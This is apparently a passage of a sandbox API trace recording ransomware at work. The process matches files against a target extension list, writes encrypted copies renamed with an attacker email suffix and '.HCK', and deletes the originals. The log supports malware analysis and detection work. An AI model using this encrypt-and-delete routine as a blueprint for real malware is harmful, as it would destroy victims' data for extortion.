lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".dbf") returned 4 [0231.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".1cd") returned 4 [0231.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".jpg") returned 4 [0231.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".doc") returned 4 [0231.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".docx") returned 5 [0231.815] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.815] lstrlenW (lpString=".pdf") returned 4 [0231.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".xls") returned 4 [0231.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.815] lstrlenW (lpString=".xlsx") returned 5 [0231.815] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.815] lstrlenW (lpString=".ppt") returned 4 [0231.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".zip") returned 4 [0231.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.815] lstrlenW (lpString=".rar") returned 4 [0231.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".bz2") returned 4 [0231.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString=".7z") returned 3 [0231.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".dbf") returned 4 [0231.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".1cd") returned 4 [0231.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0231.815] lstrlenW (lpString=".jpg") returned 4 [0231.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.816] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.816] lstrlenW (lpString="J0105380.WMF") returned 12 [0231.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.993] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4624) returned 1 [0231.993] CloseHandle (hObject=0x4cc) returned 1 [0231.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0231.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.994] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.994] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.995] GetLastError () returned 0x0 [0231.995] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1210, lpOverlapped=0x0) returned 1 [0231.996] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1220, lpOverlapped=0x0) returned 1 [0231.997] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.997] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.997] SetEndOfFile (hFile=0x4bc) returned 1 [0231.997] CloseHandle (hObject=0x4bc) returned 1 [0231.997] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.997] SetEndOfFile (hFile=0x4cc) returned 1 [0231.999] CloseHandle (hObject=0x4cc) returned 1 [0231.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0232.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.000] lstrlenW (lpString=".doc") returned 4 [0232.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.000] lstrlenW (lpString=".docx") returned 5 [0232.000] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.000] lstrlenW (lpString=".pdf") returned 4 [0232.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.000] lstrlenW (lpString=".xls") returned 4 [0232.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.000] lstrlenW (lpString=".xlsx") returned 5 [0232.000] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.000] lstrlenW (lpString=".ppt") returned 4 [0232.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".zip") returned 4 [0232.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.001] lstrlenW (lpString=".rar") returned 4 [0232.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".bz2") returned 4 [0232.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".7z") returned 3 [0232.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".dbf") returned 4 [0232.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".1cd") returned 4 [0232.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".jpg") returned 4 [0232.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".doc") returned 4 [0232.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".docx") returned 5 [0232.001] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.001] lstrlenW (lpString=".pdf") returned 4 [0232.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".xls") returned 4 [0232.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.001] lstrlenW (lpString=".xlsx") returned 5 [0232.001] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.001] lstrlenW (lpString=".ppt") returned 4 [0232.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".zip") returned 4 [0232.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.001] lstrlenW (lpString=".rar") returned 4 [0232.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".bz2") returned 4 [0232.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString=".7z") returned 3 [0232.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".dbf") returned 4 [0232.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".1cd") returned 4 [0232.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0232.001] lstrlenW (lpString=".jpg") returned 4 [0232.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.002] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.002] lstrlenW (lpString="J0105398.WMF") returned 12 [0232.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.002] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3328) returned 1 [0232.002] CloseHandle (hObject=0x4cc) returned 1 [0232.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0232.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.003] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.003] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.003] GetLastError () returned 0x0 [0232.004] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xd00, lpOverlapped=0x0) returned 1 [0232.005] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xd10, lpOverlapped=0x0) returned 1 [0232.005] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.005] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.005] SetEndOfFile (hFile=0x4bc) returned 1 [0232.006] CloseHandle (hObject=0x4bc) returned 1 [0232.006] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.006] SetEndOfFile (hFile=0x4cc) returned 1 [0232.007] CloseHandle (hObject=0x4cc) returned 1 [0232.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0232.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.008] lstrlenW (lpString=".doc") returned 4 [0232.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.008] lstrlenW (lpString=".docx") returned 5 [0232.008] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.008] lstrlenW (lpString=".pdf") returned 4 [0232.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.008] lstrlenW (lpString=".xls") returned 4 [0232.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.008] lstrlenW (lpString=".xlsx") returned 5 [0232.008] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.008] lstrlenW (lpString=".ppt") returned 4 [0232.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString=".zip") returned 4 [0232.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.009] lstrlenW (lpString=".rar") returned 4 [0232.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString=".bz2") returned 4 [0232.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString=".7z") returned 3 [0232.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString=".dbf") returned 4 [0232.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString=".1cd") returned 4 [0232.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString=".jpg") returned 4 [0232.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.009] lstrlenW (lpString=".doc") returned 4 [0232.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString=".docx") returned 5 [0232.009] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.009] lstrlenW (lpString=".pdf") returned 4 [0232.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString=".xls") returned 4 [0232.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.009] lstrlenW (lpString=".xlsx") returned 5 [0232.009] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.009] lstrlenW (lpString=".ppt") returned 4 [0232.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.010] lstrlenW (lpString=".zip") returned 4 [0232.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.010] lstrlenW (lpString=".rar") returned 4 [0232.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.010] lstrlenW (lpString=".bz2") returned 4 [0232.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.010] lstrlenW (lpString=".7z") returned 3 [0232.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.010] lstrlenW (lpString=".dbf") returned 4 [0232.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.010] lstrlenW (lpString=".1cd") returned 4 [0232.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0232.010] lstrlenW (lpString=".jpg") returned 4 [0232.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.010] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.010] lstrlenW (lpString="J0105410.WMF") returned 12 [0232.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.011] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=20444) returned 1 [0232.011] CloseHandle (hObject=0x4cc) returned 1 [0232.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0232.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.011] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.011] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.012] GetLastError () returned 0x0 [0232.012] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0232.014] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0232.014] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.015] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.015] SetEndOfFile (hFile=0x4bc) returned 1 [0232.015] CloseHandle (hObject=0x4bc) returned 1 [0232.015] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.015] SetEndOfFile (hFile=0x4cc) returned 1 [0232.017] CloseHandle (hObject=0x4cc) returned 1 [0232.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0232.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.018] lstrlenW (lpString=".doc") returned 4 [0232.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.018] lstrlenW (lpString=".docx") returned 5 [0232.018] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.018] lstrlenW (lpString=".pdf") returned 4 [0232.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.018] lstrlenW (lpString=".xls") returned 4 [0232.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.018] lstrlenW (lpString=".xlsx") returned 5 [0232.018] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.018] lstrlenW (lpString=".ppt") returned 4 [0232.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.018] lstrlenW (lpString=".zip") returned 4 [0232.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.019] lstrlenW (lpString=".rar") returned 4 [0232.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".bz2") returned 4 [0232.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".7z") returned 3 [0232.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".dbf") returned 4 [0232.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".1cd") returned 4 [0232.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft 